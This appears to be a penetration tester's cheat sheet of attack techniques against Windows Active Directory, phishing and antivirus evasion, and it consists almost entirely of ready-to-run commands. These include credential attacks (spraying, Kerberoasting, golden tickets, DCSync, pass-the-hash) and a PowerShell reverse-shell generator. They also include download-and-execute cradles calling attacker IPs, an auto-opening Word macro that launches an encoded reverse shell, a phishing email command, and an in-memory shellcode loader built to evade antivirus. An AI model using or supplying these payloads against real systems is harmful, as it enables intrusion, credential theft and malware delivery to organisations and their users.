https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html
# Windows
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html
# GTFOBins LOLBAS WADComs
https://gtfobins.github.io
https://lolbas-project.github.io
https://wadcoms.github.io
Active Directory
Enumeration
Manual Enumeration
# Display users in the domain
net user /domain
# Display info about the user jeffadmin
net user jeffadmin /domain
# Display groups in the domain
net group /domain
# Display members in specific group
net group "IT Department" /domain
# Display PDC of a domain
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
## Enumeration with PowerView
Import-Module .\PowerView.ps1
# Get info about Domain, Users and grouprs
Get-NetDomain ; Get-NetUser ; Get-NetGroup
# Domain computer overview
Get-NetComputer | select operatingsystem,dnshostname
# Scanning domain to find local administrative privileges for our user
Find-LocalAdminAccess
# Checking logged on users on client74
Get-NetSession -ComputerName client74 -Verbose
.\PsLoggedon.exe \\client74
## Enumeration Through SPN
# Listing the SPN accounts in the domain
Get-NetUser -SPN | select samaccountname,serviceprincipalname
# Listing SPN linked to iis_service user account
setspn -L iis_service
## Enumerating Object Permissions
# AD ACE permission types
GenericAll: Full permissions on object
GenericWrite: Edit certain attributes on the object
WriteOwner: Change ownership of the object
WriteDACL: Edit ACE's applied to object
AllExtendedRights: Change password, reset password, etc.
ForceChangePassword: Password change for object
Self (Self-Membership): Add ourselves to for example a group
# Enumerating ACLs for the Management Group (ObjectSID,ActiveDirectoryRights,SecurityIdentifier)
Get-ObjectAcl -Identity "Management Department" -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights
# Converting the SecurityIdentifier into name
"S-1-5-21-1987370270-658905905-1781884369-512" | Convert-SidToName
## Enumerating Domain Shares
# List Domain Shares. add -CheckShareAccess if you want only ones accessible to us
Find-DomainShare
Automated Enumeration
# SharpHound
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\sharepond -OutputPrefix "corp"
# BloodHound
sudo neo4j start # neo4j:neo4j
bloodhound
# Custom queries
MATCH (m:Computer) RETURN m # Display all computers
MATCH (m:User) RETURN m # Display all users
MATCH (m:GPO) RETURN m # Display GPO
MATCH (m:Group) RETURN m # Display Group
MATCH p = (c:Computer)-[:HasSession]->(m:User) RETURN p # Display all active sessions
# PingCastle
AD Attacks
Password Attacks
# Password spraying on windows and linux
.\Spray-Passwords.ps1 -Pass Nexus123! -Admin # (No accounts should be locked out)
Invoke-DomainPasswordSpray -UserList usernames.txt -Domain corp.com -PasswordList passlist.txt -OutFile creds.txt
.\kerbrute passwordspray -d corp.com .\usernames.txt "Nexus123!"
crackmapexec smb 192.168.50.75 -u users.txt -p 'Nexus123!' -d corp.com --continue-on-success
AS-REP Roasting
# AS-REP Roasting : AD user account with option Do not require Kerberos preauthentication enabled
impacket-GetNPUsers -dc-ip 192.168.0.9 -request -outputfile hashes.asreproast corp.com/pete
.\Rubeus.exe asreproast /nowrap
hashcat -m 18200 hashes.asreproast rockyou.txt -r best64.rule --force
# only list user accounts
impacket-GetNPUsers -dc-ip 192.168.0.9 corp.com/pete
Get-DomainUser -PreauthNotRequired
# If we have GenericWrite or GenericAll permissions on another AD user we could modify UAC of the user to not require Kerberos preauthentication
Invoke-ACLScanner -ResolveGUIDS | where {$_.ActiveDirectoryRights -eq 'GenericAll'}
Kerberoasting
# Kerberoasting : Decrypt TGS-REP to obtain cleartext password of the service account
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
impacket-GetUserSPNs -request -dc-ip 192.168.171.70 corp.com/pete
hashcat -m 13100 hashes.kerberoast rockyou.txt -r best64.rule --force
# If we have GenericWrite or GenericAll permissions on another AD user we could set an SPN for the user, kerberoast the account, and crack the password hash
Silver Tickets
# Silver Ticket : Forges a TGS ticket for a specific service with the use of the service account password or NTLM hash. We need : SPN password hash, Domain SID, Target SPN
# 1. SPN password hash => sekurlsa::logonpasswords
# 2. Domain SID : we need to omit the 4 last digit => whoami /user
# 3. Target SPN => HTTP/web04.corp.com:80
kerberos::golden /sid:S-1-5-21-1987370270-658905905-1781884369 /domain:corp.com /ptt /target:web04.corp.com /service:http /rc4:4d28cf5252d39971419580a51484ca09 /user:jeffadmin
DCSync Attack
# Impersonates a DC to request replication of user credentials. Domain Admins, Enterprise Admins, Administrators groups have the right by default to do so
lsadump::dcsync /user:corp\dave
impacket-secretsdump -just-dc-user dave corp.com/jeffadmin:"P@ssw0rd"@192.168.50.70
Lateral Movement
WMI / WinRM
# WMI 135 : Remote Procedure Calls (RPC)
# We need the credentials of a member of the Administrators local group
wmic /node:192.168.50.73 /user:jen /password:Nexus123! process call create "calc"
# with Powershell we can use it to get rev shell after base64 encoding
$username = 'jen'; $password = 'Nexus123!'; $secureString = ConvertTo-SecureString $password -AsPlaintext -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $secureString; $options = New-CimSessionOption -Protocol DCOM; $session = New-Cimsession -ComputerName 192.168.189.73 -Credential $credential -SessionOption $Options; $command = 'calc'; Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};
# WinRM 5986,5985 : Microsoft Windows Remote Management
# We need a domain user with Administrators or Remote Management priv
winrs -r:files04 -u:jen -p:Nexus123! "cmd /c hostname & whoami"
# Powershell
$username = 'jen'; $password = 'Nexus123!'; $secureString = ConvertTo-SecureString $password -AsPlaintext -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $secureString; New-PSSession -ComputerName 192.168.189.73 -Credential $credential;
Enter-PSSession 1
import sys
import base64
payload = '$client = New-Object System.Net.Sockets.TCPClient("192.168.118.2",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
print(cmd)
PsExec
# We need a user of Administrators local group, ADMIN$ share must be available, File and Printer Sharing has to be turned on
.\PsExec64.exe -i \\FILES04 -u corp\jen -p Nexus123! cmd
Pass the Hash (PtH)
# Pass the Hash from Windows Using Mimikatz:
mimikatz.exe privilege::debug "sekurlsa::pth /user:<user> /rc4:<hash> /domain:<domain> /run:cmd.exe" exit
# Pass the Hash with PowerShell Invoke-TheHash (Windows)
Import-Module .\Invoke-TheHash.psd1
Invoke-SMBExec -Target <IP> -Domain <domain> -Username <user> -Hash <hash> -Command "whoami" -Verbose
# Pass the Hash with Impacket (Linux) / impacket-wmiexec impacket-atexec impacket-smbexec
impacket-psexec administrator@10.129.201.126 -hashes :30B3783CE2ABF1AF70F77D0660CF3453
# Pass the Hash with CrackMapExec (Linux)
crackmapexec smb 172.16.1.0/24 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453 -x whoami
# Pass the Hash with evil-winrm (Linux)
evil-winrm -i 10.129.201.126 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453
# Enable Restricted Admin Mode to Allow PtH with RDP
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
# Pass the Hash with RDP (Linux)
xfreerdp /v:10.129.201.126 /u:julio /pth:64F12CDDAA88057E06A81B54E73B949B
Pass the Key / OverPass the Hash
# Mimikatz - Pass the Key/OverPass the Hash
sekurlsa::pth /domain:domain.htb /user:user /ntlm:3f74aa8f08f712f09cd5177b5c1ce50f /run:powershell
# Generate a TGT by authenticating to a network share. Converting NTLM hash to Kerberos TGT
net use \\files04
klist # Listing Kerberos tickets
.\PsExec.exe \\files04 cmd # Opening remote connection using Kerberos auth
# Mimikatz - Extract Kerberos Keys
sekurlsa::ekeys
# Rubeus - Pass the Key/OverPass the Hash
Rubeus.exe asktgt /domain:domain.htb /user:user /aes256:b21c99f..SNIP..da3fe60 /nowrap
Pass the Ticket (PtT)
# Pass the Ticket : export a TGS ticket of a user and use it to authenticate to a specific service
# Mimikatz - Export Tickets
sekurlsa::tickets /export
# Rubeus - Export Tickets
Rubeus.exe dump /nowrap
# Rubeus Pass the Ticket
Rubeus.exe asktgt /domain:domain.htb /user:user /rc4:3f74a71..SNIP..2f077b1ce50f /ptt
# Another way is to import the ticket into the current session using the .kirbi
Rubeus.exe ptt /ticket:RND-user@krbtgt-domain.htb.kirbi
# Convert .kirbi to Base64 Format
[Convert]::ToBase64String([IO.File]::ReadAllBytes("RND-user@krbtgt-domain.htb.kirbi"))
# Pass the Ticket - Base64 Format
Rubeus.exe ptt /ticket:doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/VhggPxMIzSrk/gHuER2XRLdV/<SNIP>
# Mimikatz - Pass the Ticket
kerberos::ptt "C:\path\Mimikatz\RND-user@krbtgt-domain.htb.kirbi"
exit
dir \\DC01.inlanefreight.htb\c$
# Mimikatz - PowerShell Remoting - Pass the Ticket
kerberos::ptt "C:\path\Mimikatz\RND-user@krbtgt-domain.htb.kirbi"
exit
powershell
Enter-PSSession -ComputerName DC01
DCOM
# we need RPC port 135 and local administrator access
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.163.73"))
$dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"powershell -nop -w hidden -e base64_revshell_encode","7")
Relaying Net-NTLMv2
# Starting ntlmrelayx for a Relay-attack targeting 192.168.0.2 : using www.revshells.com Powershell #3 (Base64)
impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.0.2 -c "powershell -e JABjAGwAaQBlAG4AdA..."
Active Directory Persistence
Golden Ticket
# Golden Ticket : create TGTs with the use of krbtgt password hash
# We need Domain Admin's group account or access to DC
lsadump::lsa /patch # Dumping the krbtgt password hash from DC.
# From a compromised machine or our attack machine
kerberos::purge # Delete any existing Kerberos tickets
# Creating a golden ticket. SID can be extracted with (whoami /user)
kerberos::golden /user:jen /domain:corp.com /sid:S-1-5-21-1987370270-658905905-1781884369 /krbtgt:1693c6cefafffc7af11ef34d1c788f47 /ptt
PsExec.exe \\dc1 cmd.exe # Execute cmd on DC, using hostname instead of IP to use kerberos auth
Shadow Copies
# Shadow Copy of the entire C: drive using cmd.exe. Can be used to extract hashes and kerberos keys of all AD users
vshadow.exe -nw -p C: # keep note of Shadow copy device name
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\ntds.dit.bak
reg.exe save hklm\system c:\system.bak
# In our attack box
impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL
Phishing & Client-Side Attacks
Phishing
Cloning a Legitimate Website
# Cloning the Zoom login page
wget -E -k -K -p -e robots=off -H -Dzoom.us -nd "https://zoom.us/signin#/login"
Client-Side Attacks
Information Gathering
# Display metadata of a file
exiftool -a -u brochure.pdf
# Extract info about the victim browser and OS
https://canarytokens.com
https://grabify.link
https://github.com/fingerprintjs/fingerprintjs
Leveraging Microsoft Word Macros
# use .doc for macros instead of .docx extension
# VBA Macro to run powershell
Sub MyMacro()
CreateObject("Wscript.Shell").Run "powershell"
End Sub
# PS cradle to download and execute powercat need to base64-encode in UTF-16LE format
IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.2/powercat.ps1');powercat -c 192.168.119.2 -p 4444 -e powershell
# Python script used to split the base64-encoded string into smaller chunks
str = "powershell.exe -nop -w hidden -enc SQBFAFgAKABOAGUAdwA..."
n = 50
for i in range(0, len(str), n):
print("Str = Str + " + '"' + str[i:i+n] + '"')
# The full macro invoking PowerShell to create a reverse shell
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
Dim Str As String
Str = Str + "powershell.exe -nop -w hidden -enc SQBFAFgAKABOAGU"
Str = Str + "AdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAd"
Str = Str + "AAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwB"
...
Str = Str + "QBjACAAMQA5ADIALgAxADYAOAAuADEAMQA4AC4AMgAgAC0AcAA"
Str = Str + "gADQANAA0ADQAIAAtAGUAIABwAG8AdwBlAHIAcwBoAGUAbABsA"
Str = Str + "A== "
CreateObject("Wscript.Shell").Run Str
End Sub
Abusing Windows Library Files
# Starting WsgiDAV on port 80
/home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/webdav/
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1002</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://192.168.45.233</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
# We can create a shortcut to receive a revshell with powercat
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.233:8000/powercat.ps1'); powercat -c 192.168.45.233 -p 4444 -e powershell"
# Sending emails with the Windows Library file as attachment to marcus and daniela
sudo swaks -t daniela@beyond.com -t marcus@beyond.com --from john@beyond.com --attach @config.Library-ms --server 192.168.50.242 --body @body.txt --header "Subject: Staging Script" --suppress-data -ap
Antivirus Evasion
# Changing the ExecutionPolicy for our current user
Get-ExecutionPolicy -Scope CurrentUser
Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
# In-memory payload injection script for PowerShell
$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';
$winFunc =
Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;
[Byte[]];
[Byte[]]$sc = <place your shellcode here>;
$size = 0x1000;
if ($sc.Length -gt 0x1000) {$size = $sc.Length};
$x = $winFunc::VirtualAlloc(0,$size,0x3000,0x40);
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};
$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };
# msfvenom PowerShell (x86) payload
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.1 LPORT=443 -f powershell -v sc
# Renaming variables for In-memory Injection
$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';
$var295 = Add-Type -memberDefinition $code -Name "iWin32" -namespace Win32Functions -passthru;
[Byte[]];
[Byte[]] $var195 = <place your shellcode here>;
$size = 0x1000;
if ($var195.Length -gt 0x1000) {$size = $var195.Length};
$x = $var295::VirtualAlloc(0,$size,0x3000,0x40);
for ($i=0;$i -le ($var195.Length-1);$i++) {$var295::memset([IntPtr]($x.ToInt32()+$i), $var195[$i], 1)};
$var295::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };
# Shellter is a dynamic shellcode injection tool
sudo shellter
# Reflectively load a DLL/EXE in to PowerShell process
https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1
Last updated